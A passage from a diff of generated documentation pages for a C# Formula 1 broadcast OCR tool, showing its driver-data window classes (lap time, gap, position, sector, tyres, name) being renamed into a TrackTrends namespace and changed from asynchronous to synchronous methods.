    +                        byte blue = pixel[0];
    +                        byte green = pixel[1];
    +                        byte red = pixel[2];
    +
    +                        if (green > blue * 1.5 && green > red * 1.5)
    +                        {
    +                            tot++;
    +                        }
    +                    }
    +                }
    +            }
    +            bmp.UnlockBits(bmpData);
    +
    +            return tot;
    +        }
    +        /// <summary>
    +        /// This method is used to lock on where exactly the DRS window is
    +        /// </summary>
    +        /// <returns>Returns a rectangle containing the DRS</returns>
    +        public Rectangle GetBox()
    +        {
    +            var tessImage = Pix.LoadFromMemory(ImageToByte(WindowImage));
    +            Engine.SetVariable("tessedit_char_whitelist", "");
    +            Page page = Engine.Process(tessImage);
    +
    +            using (var iter = page.GetIterator())
    +            {
    +                iter.Begin();
    +                do
    +                {
    +                    Rect boundingBox;
    +
    +                    // Get the bounding box for the current element
    +                    if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox))
    +                    {
    +                        page.Dispose();
    +                        return new Rectangle(boundingBox.X1, boundingBox.X2, boundingBox.Width, boundingBox.Height);
    +                    }
    +                } while (iter.Next(PageIteratorLevel.Word));
    +
    +                page.Dispose();
    +                return new Rectangle(0, 0, 0, 0);
    +            }
    +        }
    +    }
    +}
    +
  • +
  • + + DriverData.cs + +
  • @@ -141,33 +146,8 @@
  • - - DriverPositionWindow.cs - -
  • -
  • - - F1TVEmulator.cs - -
  • -
  • - - Program.cs - -
  • -
  • - - Window.cs - -
  • -
  • - - DriverData.cs - -
  • -
  • - - DriverLapTimeWindow.cs + + DriverNameWindow.cs
  • @@ -176,13 +156,28 @@
  • + + F1TVEmulator.cs + +
  • +
  • Form1.cs
  • - - Reader.cs + + Program.cs + +
  • +
  • + + Settings.Designer.cs + +
  • +
  • + + SqliteStorage.cs
  • @@ -191,13 +186,23 @@
  • + + DataWrapper.cs + +
  • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
  • +
  • + + DriverPositionWindow.cs
  • @@ -211,11 +216,21 @@
  • + + Reader.cs + +
  • +
  • Settings.cs
  • + + Window.cs + +
  • +
  • recoverCookiesCSV.py @@ -239,47 +254,46 @@

    DriverGapToLeaderWindow.cs

    -
    /// Author : Maxime Rohmer
    -/// Date : 08/05/2023
    -/// File : DriverGapToLeaderWindow.cs
    -/// Brief : Window containing infos about the gap to the leader of a driver
    -/// Version : 0.1
    -
    -using System;
    -using System.Collections.Generic;
    -using System.Drawing;
    -using System.Linq;
    -using System.Text;
    -using System.Threading.Tasks;
    -
    -namespace Test_Merge
    -{
    -    internal class DriverGapToLeaderWindow:Window
    -    {
    -        public DriverGapToLeaderWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine)
    -        {
    -            Name = "GapToLeader";
    -        }
    -        /// <summary>
    -        /// Decodes the gap to leader using Tesseract OCR 
    -        /// </summary>
    -        /// <returns></returns>
    -        public override async Task<object> DecodePng()
    -        {
    -            int result = await GetTimeFromPng(WindowImage, OcrImage.WindowType.Gap, Engine);
    -            return result;
    -        }
    -    }
    -}
    -
    -
    +
    /// Author : Maxime Rohmer
    +/// Date : 30/05/2023
    +/// File : DriverGapToLeaderWindow.cs
    +/// Brief : Window containing infos about the gap to the leader of a driver
    +/// Version : Alpha 1.0
    +
    +using System;
    +using System.Collections.Generic;
    +using System.Drawing;
    +using System.Linq;
    +using System.Text;
    +using System.Threading.Tasks;
    +
    +namespace TrackTrends
    +{
    +    public class DriverGapToLeaderWindow:Window
    +    {
    +        public DriverGapToLeaderWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine)
    +        {
    +            Name = "GapToLeader";
    +        }
    +        /// <summary>
    +        /// Decodes the gap to leader using Tesseract OCR 
    +        /// </summary>
    +        /// <returns>Returns the gap to the leader in miliseconds (int)</returns>
    +        public override object DecodePng()
    +        {
    +            int result = GetTimeFromPng(WindowImage, OcrImage.WindowType.Gap, Engine);
    +            return result;
    +        }
    +    }
    +}
    +
  • + + DriverData.cs + +
  • +
  • DriverGapToLeaderWindow.cs
  • - - DriverPositionWindow.cs + + DriverNameWindow.cs + +
  • +
  • + + DriverSectorWindow.cs
  • @@ -150,18 +160,38 @@
  • + + Form1.cs + +
  • +
  • Program.cs
  • - - Window.cs + + Settings.Designer.cs
  • - - DriverData.cs + + SqliteStorage.cs + +
  • +
  • + + Zone.cs + +
  • +
  • + + DataWrapper.cs + +
  • +
  • + + DriverDrsWindow.cs
  • @@ -171,33 +201,8 @@
  • - - DriverSectorWindow.cs - -
  • -
  • - - Form1.cs - -
  • -
  • - - Reader.cs - -
  • -
  • - - Zone.cs - -
  • -
  • - - DriverDrsWindow.cs - -
  • -
  • - - DriverNameWindow.cs + + DriverPositionWindow.cs
  • @@ -211,11 +216,21 @@
  • + + Reader.cs + +
  • +
  • Settings.cs
  • + + Window.cs + +
  • +
  • recoverCookiesCSV.py @@ -239,47 +254,46 @@

    DriverLapTimeWindow.cs

    -
    /// Author : Maxime Rohmer
    -/// Date : 08/05/2023
    -/// File : DriverLapTimeWindow
    -/// Brief : Window containing infos about the lap time of a driver
    -/// Version : 0.1
    -
    -using System;
    -using System.Collections.Generic;
    -using System.Linq;
    -using System.Text;
    -using System.Threading.Tasks;
    -using System.Drawing;
    -
    -namespace Test_Merge
    -{
    -    internal class DriverLapTimeWindow:Window
    -    {
    -        public DriverLapTimeWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine)
    -        {
    -            Name = "LapTime";
    -        }
    -        /// <summary>
    -        /// Decodes the lap time contained in the image using OCR Tesseract
    -        /// </summary>
    -        /// <returns>The laptime in int (ms)</returns>
    -        public override async Task<object> DecodePng()
    -        {
    -            int result = await GetTimeFromPng(WindowImage, OcrImage.WindowType.LapTime, Engine);
    -            return result;
    -        }
    -    }
    -}
    -
    -
    +
    /// Author : Maxime Rohmer
    +/// Date : 30/05/2023
    +/// File : DriverLapTimeWindow
    +/// Brief : Window containing infos about the lap time of a driver
    +/// Version : Alpha 1.0
    +
    +using System;
    +using System.Collections.Generic;
    +using System.Linq;
    +using System.Text;
    +using System.Threading.Tasks;
    +using System.Drawing;
    +
    +namespace TrackTrends
    +{
    +    public class DriverLapTimeWindow:Window
    +    {
    +        public DriverLapTimeWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine)
    +        {
    +            Name = "LapTime";
    +        }
    +        /// <summary>
    +        /// Decodes the lap time contained in the image using OCR Tesseract
    +        /// </summary>
    +        /// <returns>The laptime in int (ms)</returns>
    +        public override object DecodePng()
    +        {
    +            int result = GetTimeFromPng(WindowImage, OcrImage.WindowType.LapTime, Engine);
    +            return result;
    +        }
    +    }
    +}
    +
  • - - DriverGapToLeaderWindow.cs - -
  • -
  • - - DriverPositionWindow.cs - -
  • -
  • - - F1TVEmulator.cs - -
  • -
  • - - Program.cs - -
  • -
  • - - Window.cs - -
  • -
  • DriverData.cs
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
  • +
  • + + + DriverNameWindow.cs
  • @@ -175,13 +156,28 @@
  • + + F1TVEmulator.cs + +
  • +
  • Form1.cs
  • - - Reader.cs + + Program.cs + +
  • +
  • + + Settings.Designer.cs + +
  • +
  • + + SqliteStorage.cs
  • @@ -190,14 +186,23 @@
  • + + DataWrapper.cs + +
  • +
  • DriverDrsWindow.cs
  • -
  • - - - DriverNameWindow.cs +
  • + + DriverLapTimeWindow.cs + +
  • +
  • + + DriverPositionWindow.cs
  • @@ -211,11 +216,21 @@
  • + + Reader.cs + +
  • +
  • Settings.cs
  • + + Window.cs + +
  • +
  • recoverCookiesCSV.py @@ -239,73 +254,71 @@

    DriverNameWindow.cs

    -
    /// Author : Maxime Rohmer
    -/// Date : 08/05/2023
    -/// File : DriverNameWindow
    -/// Brief : Window containing infos about the name of the driver
    -/// Version : 0.1
    -
    -using System;
    -using System.Collections.Generic;
    -using System.Linq;
    -using System.Text;
    -using System.Threading.Tasks;
    -using System.Drawing;
    -
    -namespace Test_Merge
    -{
    -    public class DriverNameWindow : Window
    -    {
    -        public static Random rnd = new Random();
    -        public DriverNameWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine)
    -        {
    -            Name = "Name";
    -        }
    -        /// <summary>
    -        /// Decodes using OCR wich driver name is in the image
    -        /// </summary>
    -        /// <param name="DriverList"></param>
    -        /// <returns>The driver name in string</returns>
    -        public override async Task<object> DecodePng(List<string> DriverList)
    -        {
    -            string result = "";
    -            result = await GetStringFromPng(WindowImage, Engine);
    -
    -            if (!IsADriver(DriverList, result))
    -            {
    -                //I put everything in uppercase to try to lower the chances of bad answers
    -                result = FindClosestMatch(DriverList.ConvertAll(d => d.ToUpper()), result.ToUpper());
    -            }
    -            return result;
    -        }
    -        /// <summary>
    -        /// Verifies that the name found in the OCR is a valid name
    -        /// </summary>
    -        /// <param name="driverList"></param>
    -        /// <param name="potentialDriver"></param>
    -        /// <returns>If ye or no the driver exists</returns>
    -        private static bool IsADriver(List<string> driverList, string potentialDriver)
    -        {
    -            bool result = false;
    -            //I cant use drivers.Contains because it has missmatched cases and all
    -            foreach (string name in driverList)
    -            {
    -                if (name.ToUpper() == potentialDriver.ToUpper())
    -                    result = true;
    -            }
    -            return result;
    -        }
    -    }
    -}
    -
    -
    +
    /// Author : Maxime Rohmer
    +/// Date : 30/05/2023
    +/// File : DriverNameWindow
    +/// Brief : Window containing infos about the name of the driver
    +/// Version : Alpha 1.0
    +
    +using System;
    +using System.Collections.Generic;
    +using System.Linq;
    +using System.Text;
    +using System.Threading.Tasks;
    +using System.Drawing;
    +
    +namespace TrackTrends
    +{
    +    public class DriverNameWindow : Window
    +    {
    +        public DriverNameWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine)
    +        {
    +            Name = "Name";
    +        }
    +        /// <summary>
    +        /// Decodes using OCR wich driver name is in the image
    +        /// </summary>
    +        /// <param name="DriverList">A list of all the names that can be on the image</param>
    +        /// <returns>a string representing the found driver name. It will be one of the ones given in the list</returns>
    +        public override object DecodePng(List<string> DriverList)
    +        {
    +            string result = "";
    +            result = GetStringFromPng(WindowImage, Engine);
    +
    +            if (!IsADriver(DriverList, result))
    +            {
    +                //I put everything in uppercase to try to lower the chances of bad answers
    +                result = FindClosestMatch(DriverList.ConvertAll(d => d.ToUpper()), result.ToUpper());
    +            }
    +            return result;
    +        }
    +        /// <summary>
    +        /// Verifies that the name found in the OCR is a valid name
    +        /// </summary>
    +        /// <param name="driverList">The list of all the drivers name that can be found in the image</param>
    +        /// <param name="potentialDriver">The driver you want to be sure if it exists or not</param>
    +        /// <returns>If ye or no the driver exists</returns>
    +        private static bool IsADriver(List<string> driverList, string potentialDriver)
    +        {
    +            bool result = false;
    +            //I cant use drivers.Contains because it has missmatched cases and all
    +            foreach (string name in driverList)
    +            {
    +                if (name.ToUpper() == potentialDriver.ToUpper())
    +                    result = true;
    +            }
    +            return result;
    +        }
    +    }
    +}
    +
  • - - DriverGapToLeaderWindow.cs - -
  • -
  • - - - DriverPositionWindow.cs - -
  • -
  • - - F1TVEmulator.cs - -
  • -
  • - - Program.cs - -
  • -
  • - - Window.cs - -
  • -
  • DriverData.cs
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
  • +
  • + + DriverNameWindow.cs
  • @@ -176,13 +155,28 @@
  • + + F1TVEmulator.cs + +
  • +
  • Form1.cs
  • - - Reader.cs + + Program.cs + +
  • +
  • + + Settings.Designer.cs + +
  • +
  • + + SqliteStorage.cs
  • @@ -191,13 +185,24 @@
  • + + DataWrapper.cs + +
  • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
  • +
  • + + + DriverPositionWindow.cs
  • @@ -211,11 +216,21 @@
  • + + Reader.cs + +
  • +
  • Settings.cs
  • + + Window.cs + +
  • +
  • recoverCookiesCSV.py @@ -239,57 +254,56 @@

    DriverPositionWindow.cs

    -
    /// Author : Maxime Rohmer
    -/// Date : 08/05/2023
    -/// File : DriverPosition.cs
    -/// Brief : Window containing infos about the position of a driver.
    -/// Version : 0.1
    -
    -using System;
    -using System.Collections.Generic;
    -using System.Linq;
    -using System.Text;
    -using System.Threading.Tasks;
    -using System.Drawing;
    -
    -namespace Test_Merge
    -{
    -    public class DriverPositionWindow:Window
    -    {
    -        public DriverPositionWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine)
    -        {
    -            Name = "Position";
    -        }
    -        /// <summary>
    -        /// Decodes the position number using Tesseract OCR
    -        /// </summary>
    -        /// <returns>The position of the pilot in int</returns>
    -        public override async Task<object> DecodePng()
    -        {
    -            string ocrResult = await GetStringFromPng(WindowImage, Engine, "0123456789");
    -
    -            int position;
    -            try
    -            {
    -                position = Convert.ToInt32(ocrResult);
    -            }
    -            catch
    -            {
    -                position = -1;
    -            }
    -            return position;
    -        }
    -    }
    -}
    -
    -
    +
    /// Author : Maxime Rohmer
    +/// Date : 30/05/2023
    +/// File : DriverPositionWindow.cs
    +/// Brief : Window containing infos about the position of a driver.
    +/// Version : Alpha 1.0
    +
    +using System;
    +using System.Collections.Generic;
    +using System.Linq;
    +using System.Text;
    +using System.Threading.Tasks;
    +using System.Drawing;
    +
    +namespace TrackTrends
    +{
    +    public class DriverPositionWindow:Window
    +    {
    +        public DriverPositionWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine)
    +        {
    +            Name = "Position";
    +        }
    +        /// <summary>
    +        /// Decodes the position number using Tesseract OCR
    +        /// </summary>
    +        /// <returns>An int representing the position of the driver (should be between 1 and 20 included)</returns>
    +        public override object DecodePng()
    +        { 
    +            string ocrResult = GetStringFromPng(WindowImage, Engine, "0123456789");
    +
    +            int position;
    +            try
    +            {
    +                position = Convert.ToInt32(ocrResult);
    +            }
    +            catch
    +            {
    +                position = -1;
    +            }
    +            return position;
    +        }
    +    }
    +}
    +
  • - - DriverGapToLeaderWindow.cs - -
  • -
  • - - DriverPositionWindow.cs - -
  • -
  • - - F1TVEmulator.cs - -
  • -
  • - - Program.cs - -
  • -
  • - - Window.cs - -
  • -
  • DriverData.cs
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
  • +
  • + + DriverNameWindow.cs
  • @@ -176,13 +156,28 @@
  • + + F1TVEmulator.cs + +
  • +
  • Form1.cs
  • - - Reader.cs + + Program.cs + +
  • +
  • + + Settings.Designer.cs + +
  • +
  • + + SqliteStorage.cs
  • @@ -191,13 +186,23 @@
  • + + DataWrapper.cs + +
  • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
  • +
  • + + DriverPositionWindow.cs
  • @@ -211,11 +216,21 @@
  • + + Reader.cs + +
  • +
  • Settings.cs
  • + + Window.cs + +
  • +
  • recoverCookiesCSV.py @@ -239,47 +254,46 @@

    DriverSectorWindow.cs

    -
    /// Author : Maxime Rohmer
    -/// Date : 08/05/2023
    -/// File : DriverSectorWindow.cs
    -/// Brief : Window containing infos about a driver sector time. Can be the first second or third, does not matter.
    -/// Version : 0.1
    -
    -using System;
    -using System.Collections.Generic;
    -using System.Linq;
    -using System.Text;
    -using System.Threading.Tasks;
    -using System.Drawing;
    -
    -namespace Test_Merge
    -{
    -    internal class DriverSectorWindow:Window
    -    {
    -        public DriverSectorWindow(Bitmap image, Rectangle bounds, int sectorId, bool generateEngine = true) : base(image, bounds,generateEngine)
    -        {
    -            Name = "Sector"+sectorId;
    -        }
    -        /// <summary>
    -        /// Decodes the sector
    -        /// </summary>
    -        /// <returns>the sector time in int (ms)</returns>
    -        public override async Task<object> DecodePng()
    -        {
    -            int ocrResult = await GetTimeFromPng(WindowImage, OcrImage.WindowType.Sector, Engine);
    -            return ocrResult;
    -        }
    -    }
    -}
    -
    -
    +
    /// Author : Maxime Rohmer
    +/// Date : 30/05/2023
    +/// File : DriverSectorWindow.cs
    +/// Brief : Window containing infos about a driver sector time. Can be the first second or third, does not matter.
    +/// Version : Alpha 1.0
    +
    +using System;
    +using System.Collections.Generic;
    +using System.Linq;
    +using System.Text;
    +using System.Threading.Tasks;
    +using System.Drawing;
    +
    +namespace TrackTrends
    +{
    +    public class DriverSectorWindow:Window
    +    {
    +        public DriverSectorWindow(Bitmap image, Rectangle bounds, int sectorId, bool generateEngine = true) : base(image, bounds,generateEngine)
    +        {
    +            Name = "Sector"+sectorId;
    +        }
    +        /// <summary>
    +        /// Decodes the sector
    +        /// </summary>
    +        /// <returns>the sector time in int (ms)</returns>
    +        public override object DecodePng()
    +        {
    +            int ocrResult = GetTimeFromPng(WindowImage, OcrImage.WindowType.Sector, Engine);
    +            return ocrResult;
    +        }
    +    }
    +}
    +
  • - - DriverGapToLeaderWindow.cs - -
  • -
  • - - DriverPositionWindow.cs - -
  • -
  • - - F1TVEmulator.cs - -
  • -
  • - - Program.cs - -
  • -
  • - - Window.cs - -
  • -
  • DriverData.cs
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
  • +
  • + + DriverNameWindow.cs
  • @@ -175,13 +155,28 @@
  • + + F1TVEmulator.cs + +
  • +
  • Form1.cs
  • - - Reader.cs + + Program.cs + +
  • +
  • + + Settings.Designer.cs + +
  • +
  • + + SqliteStorage.cs
  • @@ -190,13 +185,23 @@
  • + + DataWrapper.cs + +
  • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
  • +
  • + + DriverPositionWindow.cs
  • @@ -211,11 +216,21 @@
  • + + Reader.cs + +
  • +
  • Settings.cs
  • + + Window.cs + +
  • +
  • recoverCookiesCSV.py @@ -239,156 +254,160 @@

    DriverTyresWindow.cs

    -
    /// Author : Maxime Rohmer
    -/// Date : 08/05/2023
    -/// File : DriverTyresWindow.cs
    -/// Brief : Window containing infos about a driver's tyre
    -/// Version : 0.1
    -
    -using System;
    -using System.Collections.Generic;
    -using System.Linq;
    -using System.Text;
    -using System.Threading.Tasks;
    -using System.Drawing;
    -
    -namespace Test_Merge
    -{
    -    public class DriverTyresWindow:Window
    -    {
    -        private static Random rnd = new Random();
    -        int seed = rnd.Next(0, 10000);
    -
    -        //Those are the colors I found but you can change them if they change in the future like in 2019
    -        public static Color SOFT_TYRE_COLOR = Color.FromArgb(0xff, 0x00, 0x00);
    -        public static Color MEDIUM_TYRE_COLOR = Color.FromArgb(0xf5, 0xbf, 0x00);
    -        public static Color HARD_TYRE_COLOR = Color.FromArgb(0xa4, 0xa5, 0xa8);
    -        public static Color INTER_TYRE_COLOR = Color.FromArgb(0x00, 0xa4, 0x2e);
    -        public static Color WET_TYRE_COLOR = Color.FromArgb(0x27, 0x60, 0xa6);
    -        public static Color EMPTY_COLOR = Color.FromArgb(0x20, 0x20, 0x20);
    -
    -        public DriverTyresWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine)
    -        {
    -            Name = "Tyres";
    -        }
    -        /// <summary>
    -        /// This will decode the content of the image
    -        /// </summary>
    -        /// <returns>And object containing what was on the image</returns>
    -        public override async Task<object> DecodePng()
    -        {
    -            return await GetTyreInfos();
    -        }
    -        /// <summary>
    -        /// Method that will decode whats on the image and return the tyre infos it could manage to recover
    -        /// </summary>
    -        /// <returns>A tyre object containing tyre infos</returns>
    -        private async Task<Tyre> GetTyreInfos()
    -        {
    -            Bitmap tyreZone = GetSmallBitmapFromBigOne(WindowImage, FindTyreZone());
    -            Tyre.Type type = Tyre.Type.Undefined;
    -            type = GetTyreTypeFromColor(OcrImage.GetAvgColorFromBitmap(tyreZone));
    -            int laps = -1;
    -
    -            string number = await GetStringFromPng(tyreZone, Engine, "0123456789", OcrImage.WindowType.Tyre);
    -            try
    -            {
    -                laps = Convert.ToInt32(number);
    -            }
    -            catch
    -            {
    -                //We could not convert the number so its a letter so its 0 laps old
    -                laps = 0;
    -            }
    -            //tyreZone.Save(Reader.DEBUG_DUMP_FOLDER + "Tyre" + type + "Laps" + laps + '#' + rnd.Next(0, 1000) + ".png");
    -            return new Tyre(type, laps);
    -        }
    -        /// <summary>
    -        /// Finds where the important part of the image is
    -        /// </summary>
    -        /// <returns>A rectangle containing position and dimensions of the important part of the image</returns>
    -        private Rectangle FindTyreZone()
    -        {
    -            Bitmap bmp = WindowImage;
    -            int currentPosition = bmp.Width;
    -            int height = bmp.Height / 2;
    -            Color limitColor = Color.FromArgb(0x50, 0x50, 0x50);
    -            Color currentColor = Color.FromArgb(0, 0, 0);
    -
    -            Size newWindowSize = new Size(bmp.Height - Convert.ToInt32((float)bmp.Height / 100f * 25f), bmp.Height - Convert.ToInt32((float)bmp.Height / 100f * 35f));
    -
    -            while (currentColor.R <= limitColor.R && currentColor.G <= limitColor.G && currentColor.B <= limitColor.B && currentPosition > 0)
    -            {
    -                currentPosition--;
    -                currentColor = bmp.GetPixel(currentPosition, height);
    -            }
    -
    -            //Its here to let the new window include a little bit of the right 
    -            int CorrectedX = currentPosition - (newWindowSize.Width) + Convert.ToInt32((float)newWindowSize.Width / 100f * 10f);
    -            int CorrectedY = Convert.ToInt32((float)newWindowSize.Height / 100f * 35f);
    -            if (CorrectedX <= 0)
    -                return new Rectangle(0, 0, newWindowSize.Width, newWindowSize.Height);
    -
    -            return new Rectangle(CorrectedX, CorrectedY, newWindowSize.Width, newWindowSize.Height);
    -        }
    -        //This method has been created with the help of chatGPT
    -        /// <summary>
    -        /// Methods that compares a list of colors to see wich is the closest from the input color and decide wich tyre type it is
    -        /// </summary>
    -        /// <param name="inputColor">The color that you found</param>
    -        /// <returns>The tyre type</returns>
    -        public Tyre.Type GetTyreTypeFromColor(Color inputColor)
    -        {
    -            Tyre.Type type = Tyre.Type.Undefined;
    -            List<Color> colors = new List<Color>();
    -            //dont forget that if for some reason someday F1 adds a new Tyre type you will need to add it in the constants but also here in the list
    -            //You will also need to add it below in the Tyre object's enum and add an if in the end of this method
    -            colors.Add(SOFT_TYRE_COLOR);
    -            colors.Add(MEDIUM_TYRE_COLOR);
    -            colors.Add(HARD_TYRE_COLOR);
    -            colors.Add(INTER_TYRE_COLOR);
    -            colors.Add(WET_TYRE_COLOR);
    -            colors.Add(EMPTY_COLOR);
    -
    -            Color closestColor = colors[0];
    -            int closestDistance = int.MaxValue;
    -            foreach (Color color in colors)
    -            {
    -                int distance = Math.Abs(color.R - inputColor.R) + Math.Abs(color.G - inputColor.G) + Math.Abs(color.B - inputColor.B);
    -                if (distance < closestDistance)
    -                {
    -                    closestColor = color;
    -                    closestDistance = distance;
    -                }
    -            }
    -
    -            //We cant use a switch as the colors cant be constants ...
    -            if (closestColor == SOFT_TYRE_COLOR)
    -                type = Tyre.Type.Soft;
    -            if (closestColor == MEDIUM_TYRE_COLOR)
    -                type = Tyre.Type.Medium;
    -            if (closestColor == HARD_TYRE_COLOR)
    -                type = Tyre.Type.Hard;
    -            if (closestColor == INTER_TYRE_COLOR)
    -                type = Tyre.Type.Inter;
    -            if (closestColor == WET_TYRE_COLOR)
    -                type = Tyre.Type.Wet;
    -            if (closestColor == EMPTY_COLOR)
    -                return Tyre.Type.Undefined;
    -
    -            return type;
    -        }
    -    }
    -}
    -
    -
    +
    /// Author : Maxime Rohmer
    +/// Date : 30/05/2023
    +/// File : DriverTyresWindow.cs
    +/// Brief : Window containing infos about a driver's tyre
    +/// Version : Alpha 1.0
    +
    +using System;
    +using System.Collections.Generic;
    +using System.Linq;
    +using System.Text;
    +using System.Threading.Tasks;
    +using System.Drawing;
    +
    +namespace TrackTrends
    +{
    +    public class DriverTyresWindow:Window
    +    {
    +        private static Random rnd = new Random();
    +        //Those are the colors I found but you can change them if they change in the future like in 2019
    +        public static Color SOFT_TYRE_COLOR = Color.FromArgb(0xff, 0x00, 0x00);
    +        public static Color MEDIUM_TYRE_COLOR = Color.FromArgb(0xf5, 0xbf, 0x00);
    +        public static Color HARD_TYRE_COLOR = Color.FromArgb(0xa4, 0xa5, 0xa8);
    +        public static Color INTER_TYRE_COLOR = Color.FromArgb(0x00, 0xa4, 0x2e);
    +        public static Color WET_TYRE_COLOR = Color.FromArgb(0x27, 0x60, 0xa6);
    +        public static Color EMPTY_COLOR = Color.FromArgb(0x20, 0x20, 0x20);
    +
    +        public DriverTyresWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine)
    +        {
    +            Name = "Tyres";
    +        }
    +        /// <summary>
    +        /// This will decode the content of the image
    +        /// </summary>
    +        /// <returns>And object containing what was on the image</returns>
    +        public override object DecodePng()
    +        {
    +            return GetTyreInfos();
    +        }
    +        /// <summary>
    +        /// Method that will decode whats on the image and return the tyre infos it could manage to recover
    +        /// </summary>
    +        /// <returns>A tyre object containing tyre infos</returns>
    +        private Tyre GetTyreInfos()
    +        {
    +            //DEBUG
    +            //WindowImage.Save("./Tyre/raw_"+rnd.Next(0,99999)+".png");
    +
    +            Bitmap tyreZone = GetSmallBitmapFromBigOne(WindowImage, FindTyreZone());
    +            Tyre.Type type = Tyre.Type.Undefined;
    +            type = GetTyreTypeFromColor(OcrImage.GetAvgColorFromBitmap(tyreZone));
    +            int laps = -1;
    +
    +            string number = GetStringFromPng(tyreZone, Engine, "0123456789", OcrImage.WindowType.Tyre);
    +            try
    +            {
    +                laps = Convert.ToInt32(number);
    +            }
    +            catch
    +            {
    +                //We could not convert the number so its a letter so its 0 laps old
    +                laps = 0;
    +            }
    +
    +            //71 is the most laps an f1 race is ever going to have (mexico) so any more would be considered as bad (and remember you cant go trough a full race without making at least one pitstop)
    +            if (laps > 75)
    +                laps = 0;
    +
    +            return new Tyre(type, laps);
    +        }
    +        /// <summary>
    +        /// Finds where the important part of the image is
    +        /// </summary>
    +        /// <returns>A rectangle containing position and dimensions of the important part of the image</returns>
    +        private Rectangle FindTyreZone()
    +        {
    +            Bitmap bmp = WindowImage;
    +            int currentPosition = bmp.Width;
    +            int height = bmp.Height / 2;
    +            Color limitColor = Color.FromArgb(0x50, 0x50, 0x50);
    +            Color currentColor = Color.FromArgb(0, 0, 0);
    +                                                                                                 //25F
    +            Size newWindowSize = new Size(bmp.Height - Convert.ToInt32((float)bmp.Height / 100f * 25f), bmp.Height - Convert.ToInt32((float)bmp.Height / 100f * 35f)); 
    +
    +            while (currentColor.R <= limitColor.R && currentColor.G <= limitColor.G && currentColor.B <= limitColor.B && currentPosition > 0)
    +            {
    +                currentPosition--;
    +                currentColor = bmp.GetPixel(currentPosition, height);
    +            }
    +
    +            //Its here to let the new window include a little bit of the right 
    +            int CorrectedX = currentPosition - (newWindowSize.Width) + Convert.ToInt32((float)newWindowSize.Width / 100f * 10f);
    +            int CorrectedY = Convert.ToInt32((float)newWindowSize.Height / 100f * 35f);
    +            if (CorrectedX <= 0)
    +                return new Rectangle(0, 0, newWindowSize.Width, newWindowSize.Height);
    +
    +            return new Rectangle(CorrectedX, CorrectedY, newWindowSize.Width, newWindowSize.Height);
    +        }
    +        //This method has been created with the help of chatGPT
    +        /// <summary>
    +        /// Methods that compares a list of colors to see wich is the closest from the input color and decide wich tyre type it is
    +        /// </summary>
    +        /// <param name="inputColor">The color that you found</param>
    +        /// <returns>The tyre type</returns>
    +        public Tyre.Type GetTyreTypeFromColor(Color inputColor)
    +        {
    +            Tyre.Type type = Tyre.Type.Undefined;
    +            List<Color> colors = new List<Color>();
    +            //dont forget that if for some reason someday F1 adds a new Tyre type you will need to add it in the constants but also here in the list
    +            //You will also need to add it below in the Tyre object's enum and add an if in the end of this method
    +            colors.Add(SOFT_TYRE_COLOR);
    +            colors.Add(MEDIUM_TYRE_COLOR);
    +            colors.Add(HARD_TYRE_COLOR);
    +            colors.Add(INTER_TYRE_COLOR);
    +            colors.Add(WET_TYRE_COLOR);
    +            colors.Add(EMPTY_COLOR);
    +
    +            Color closestColor = colors[0];
    +            int closestDistance = int.MaxValue;
    +            foreach (Color color in colors)
    +            {
    +                int distance = Math.Abs(color.R - inputColor.R) + Math.Abs(color.G - inputColor.G) + Math.Abs(color.B - inputColor.B);
    +                if (distance < closestDistance)
    +                {
    +                    closestColor = color;
    +                    closestDistance = distance;
    +                }
    +            }
    +
    +            //We cant use a switch as the colors cant be constants ...
    +            if (closestColor == SOFT_TYRE_COLOR)
    +                type = Tyre.Type.Soft;
    +            if (closestColor == MEDIUM_TYRE_COLOR)
    +                type = Tyre.Type.Medium;
    +            if (closestColor == HARD_TYRE_COLOR)
    +                type = Tyre.Type.Hard;
    +            if (closestColor == INTER_TYRE_COLOR)
    +                type = Tyre.Type.Inter;
    +            if (closestColor == WET_TYRE_COLOR)
    +                type = Tyre.Type.Wet;
    +            if (closestColor == EMPTY_COLOR)
    +                return Tyre.Type.Undefined;
    +
    +            return type;
    +        }
    +    }
    +}
    +
  • + + DriverData.cs + +
  • +
  • DriverGapToLeaderWindow.cs
  • - - DriverPositionWindow.cs + + DriverNameWindow.cs + +
  • +
  • + + DriverSectorWindow.cs
  • @@ -151,38 +161,23 @@
  • - - Program.cs - -
  • -
  • - - Window.cs - -
  • -
  • - - DriverData.cs - -
  • -
  • - - DriverLapTimeWindow.cs - -
  • -
  • - - DriverSectorWindow.cs - -
  • -
  • Form1.cs
  • - - Reader.cs + + Program.cs + +
  • +
  • + + Settings.Designer.cs + +
  • +
  • + + SqliteStorage.cs
  • @@ -191,13 +186,23 @@
  • + + DataWrapper.cs + +
  • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
  • +
  • + + DriverPositionWindow.cs
  • @@ -211,11 +216,21 @@
  • + + Reader.cs + +
  • +
  • Settings.cs
  • + + Window.cs + +
  • +
  • recoverCookiesCSV.py @@ -239,303 +254,343 @@

